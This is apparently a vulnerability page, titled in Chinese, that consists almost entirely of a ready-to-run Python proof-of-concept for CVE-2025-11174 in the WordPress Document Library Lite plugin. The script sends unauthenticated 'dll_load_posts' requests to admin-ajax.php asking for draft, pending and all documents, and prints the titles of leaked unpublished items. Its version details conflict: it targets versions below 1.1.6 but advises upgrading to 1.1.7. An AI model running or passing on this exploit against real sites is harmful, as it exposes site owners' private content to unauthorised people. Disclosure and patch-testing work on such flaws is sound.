CVE-2025-11174 WordPress Document Library Lite插件未授权访问漏洞

import requests import json # CVE-2025-11174 PoC - Unauthenticated Document Disclosure # Target: WordPress with Document Library Lite plugin < 1.1.6 target_url = "http://target-site.com/wp-admin/admin-ajax.php" # PoC 1: Retrieve draft documents payload_draft = { "action": "dll_load_posts", "args": json.dumps({ "status": "draft", "per_page": 100, "page": 1 }) } # PoC 2: Retrieve pending review documents payload_pending = { "action": "dll_load_posts", "args": json.dumps({ "status": "pending", "per_page": 100, "page": 1 }) } # PoC 3: Retrieve all documents including unpublished payload_any = { "action": "dll_load_posts", "args": json.dumps({ "status": "any", "per_page": 100, "page": 1 }) } def exploit(payload, description): """Send malicious request to leak unpublished documents""" try: response = requests.post(target_url, data=payload, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] {description}") print(f" Retrieved {len(data.get('data', []))} documents") # Extract document titles for item in data.get('data', [])[:5]: print(f" - {item.get('title', 'N/A')}") else: print(f"[-] Request failed with status {response.status_code}") except Exception as e: print(f"[-] Error: {str(e)}") # Execute PoCs if __name__ == "__main__": print("CVE-2025-11174 - Document Library Lite Unauthorized Access") print("=" * 60) exploit(payload_draft, "Retrieving DRAFT documents") exploit(payload_pending, "Retrieving PENDING documents") exploit(payload_any, "Retrieving ALL documents (including unpublished)") print("\n[!] This PoC demonstrates the ability to access unpublished content") print("[!] Patch: Upgrade to Document Library Lite >= 1.1.7")